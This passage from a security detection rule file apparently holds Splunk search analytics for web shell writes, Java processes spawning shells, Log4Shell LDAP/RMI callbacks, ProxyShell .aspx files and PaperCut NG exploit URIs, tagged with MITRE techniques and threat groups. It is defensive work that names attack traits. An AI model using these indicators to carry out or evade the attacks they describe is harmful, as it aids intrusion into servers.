the Endpoint datamodel, specifically monitoring process and filesystem activities. This activity is significant because web shells can provide attackers with remote control over the compromised server, leading to further exploitation. If confirmed malicious, this could allow unauthorized access, data exfiltration, or further compromise of the affected system, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name IN (\"java\",\"java.exe\", \"javaw.exe\") by _time Processes.process_id Processes.process_name Processes.dest Processes.process_guid Processes.user | `drop_dm_object_name(Processes)` | join process_guid [| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Filesystem where Filesystem.file_name=\"*.jsp*\" by _time Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path Filesystem.process_guid Filesystem.user | `drop_dm_object_name(Filesystem)` | fields _time process_guid file_path file_name file_create_time user dest process_name] | stats count min(_time) as firstTime max(_time) as lastTime by dest process_name process_guid file_name file_path file_create_time user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `java_writing_jsp_file_filter`", - "tags": { - "analytic_story": [ - "Atlassian Confluence Server and Data Center CVE-2022-26134", - "Spring4Shell CVE-2022-22965", - "SysAid On-Prem Software CVE-2023-47246 Vulnerability" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $process_name$ was identified on endpoint $dest$ writing a jsp file $file_name$ to disk, potentially indicative of exploitation.", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Linux Java Spawning Shell", - "description": "The following analytic detects instances where Java, Apache, or Tomcat processes spawn a Linux shell, which may indicate exploitation attempts, such as those related to CVE-2021-44228 (Log4Shell). This detection leverages Endpoint Detection and Response (EDR) telemetry, focusing on process names and parent-child process relationships. This activity is significant as it can signify a compromised Java application, potentially leading to unauthorized shell access. If confirmed malicious, attackers could execute arbitrary commands, escalate privileges, or maintain persistent access, posing a severe threat to the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=java OR Processes.parent_process_name=apache OR Processes.parent_process_name=tomcat `linux_shells` by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_java_spawning_shell_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Log4Shell CVE-2021-44228", - "Spring4Shell CVE-2022-22965" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ spawning a Linux shell, potentially indicative of exploitation.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Living Off The Land Detection", - "description": "The following correlation identifies multiple risk events associated with the \"Living Off The Land\" analytic story, indicating potentially suspicious behavior. It leverages the Risk data model to aggregate and correlate events tagged under this story, focusing on systems with a high count of distinct sources. This activity is significant as it often involves the use of legitimate tools for malicious purposes, making detection challenging. If confirmed malicious, this behavior could allow attackers to execute code, escalate privileges, or persist within the environment using trusted system utilities.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where All_Risk.analyticstories=\"Living Off The Land\" All_Risk.risk_object_type=\"system\" by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 5 | `living_off_the_land_detection_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An increase of Living Off The Land behavior has been detected on $risk_object$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Log4Shell CVE-2021-44228 Exploitation", - "description": "The following analytic identifies potential exploitation of Log4Shell CVE-2021-44228 by correlating multiple MITRE ATT&CK tactics detected in risk events. It leverages Splunk's risk data model to calculate the distinct count of MITRE ATT&CK tactics from Log4Shell-related detections. This activity is significant because it indicates a high probability of exploitation if two or more distinct tactics are observed. If confirmed malicious, this activity could lead to initial payload delivery, callback to a malicious server, and post-exploitation activities, potentially resulting in unauthorized access, lateral movement, and further compromise of the affected systems.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where All_Risk.analyticstories=\"Log4Shell CVE-2021-44228\" All_Risk.risk_object_type=\"system\" by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 2 | `log4shell_cve_2021_44228_exploitation_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "Log4Shell CVE-2021-44228" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Log4Shell Exploitation detected against $risk_object$.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "MS Exchange Mailbox Replication service writing Active Server Pages", - "description": "The following analytic identifies the creation of suspicious .aspx files in specific directories associated with Exchange exploitation by the HAFNIUM group and the ProxyShell vulnerability. It detects this activity by monitoring the MSExchangeMailboxReplication.exe process, which typically does not write .aspx files. This behavior is significant as it may indicate an active exploitation attempt on Exchange servers. If confirmed malicious, attackers could gain unauthorized access, execute arbitrary code, or maintain persistence within the environment. Immediate investigation and remediation are crucial to prevent further compromise.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name=MSExchangeMailboxReplication.exe by _time span=1h Processes.process_id Processes.process_name Processes.process_guid Processes.dest | `drop_dm_object_name(Processes)` | join process_guid, _time [| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*\\\\HttpProxy\\\\owa\\\\auth\\\\*\", \"*\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\*\", \"*\\\\HttpProxy\\\\OAB\\\\*\") Filesystem.file_name=\"*.aspx\" by _time span=1h Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path | `drop_dm_object_name(Filesystem)` | fields _time dest file_create_time file_name file_path process_name process_path process process_guid] | dedup file_create_time | table dest file_create_time, file_name, file_path, process_name | `ms_exchange_mailbox_replication_service_writing_active_server_pages_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "ProxyShell", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Victim" - ] - } - ], - "message": "A file - $file_name$ was written to disk that is related to IIS exploitation related to ProxyShell. Review further file modifications on endpoint $dest$ by user $user$.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Outbound Network Connection from Java Using Default Ports", - "description": "The following analytic detects outbound network connections from Java processes to default ports used by LDAP and RMI protocols, which may indicate exploitation of the CVE-2021-44228-Log4j vulnerability. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and network traffic logs. Monitoring this activity is crucial as it can signify an attacker\u2019s attempt to perform JNDI lookups and retrieve malicious payloads. If confirmed malicious, this activity could lead to remote code execution and further compromise of the affected server.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where (Processes.process_name=\"java.exe\" OR Processes.process_name=javaw.exe OR Processes.process_name=javaw.exe) by _time Processes.process_id Processes.process_name Processes.dest Processes.process_path Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | join process_id [| tstats `security_content_summariesonly` count FROM datamodel=Network_Traffic.All_Traffic where (All_Traffic.dest_port= 389 OR All_Traffic.dest_port= 636 OR All_Traffic.dest_port = 1389 OR All_Traffic.dest_port = 1099 ) by All_Traffic.process_id All_Traffic.dest All_Traffic.dest_port | `drop_dm_object_name(All_Traffic)` | rename dest as connection_to_CNC] | table _time dest parent_process_name process_name process_path process connection_to_CNC dest_port| `outbound_network_connection_from_java_using_default_ports_filter`", - "tags": { - "analytic_story": [ - "Log4Shell CVE-2021-44228" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Java performed outbound connections to default ports of LDAP or RMI on $dest$", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "PaperCut NG Suspicious Behavior Debug Log", - "description": "The following analytic identifies potential exploitation attempts on a PaperCut NG server by analyzing its debug log data. It detects unauthorized or suspicious access attempts from public IP addresses and searches for specific URIs associated with known exploits. The detection leverages regex to parse unstructured log data, focusing on admin login activities. This activity is significant as it can indicate an active exploitation attempt on the server. If confirmed malicious, attackers could gain unauthorized access, potentially leading to data breaches or further compromise of the server.", - "search": "`papercutng` (loginType=Admin OR userName=admin) | eval uri_match=if(match(_raw, \"(?i)(\\/app\\?service=page\\/SetupCompleted|\\/app|\\/app\\?service=page\\/PrinterList|\\/app\\?service=direct\\/1\\/PrinterList\\/selectPrinter&sp=l1001|\\/app\\?service=direct\\/1\\/PrinterDetails\\/printerOptionsTab\\.tab)\"), \"URI matches\", null()) | eval ip_match=if(match(_raw, \"(?i)((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))\") AND NOT match(_raw, \"(?i)(10\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))|(172\\.(1[6-9]|2[0-9]|3[0-1])\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))|(192\\.168\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))\"), \"IP matches\", null()) | where (isnotnull(uri_match) OR isnotnull(ip_match)) | stats sparkline, count, values(uri_match) AS uri_match, values(ip_match) AS ip_match latest(_raw) BY host, index, sourcetype | `papercut_ng_suspicious_behavior_debug_log_filter`", - "tags": { - "analytic_story": [ - "PaperCut MF NG Vulnerability" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Behavior related to exploitation of PaperCut NG has been identified on $host$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Java Spawning Shells", - "description": "The following analytic identifies instances where java.exe or w3wp.exe spawns a Windows shell, such as cmd.exe or powershell.exe. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process relationships. This activity is significant as it may indicate exploitation attempts, such as those related to CVE-2021-44228 (Log4Shell). If confirmed malicious, attackers could execute arbitrary commands, potentially leading to system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=java.exe OR Processes.parent_process_name=w3wp.exe `windows_shells` by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_java_spawning_shells_filter`", - "tags": { - "analytic_story": [ - "Log4Shell CVE-2021-44228", - "SysAid On-Prem Software CVE-2023-47246 Vulnerability" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ spawning a Windows shell, potentially indicative of exploitation.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat 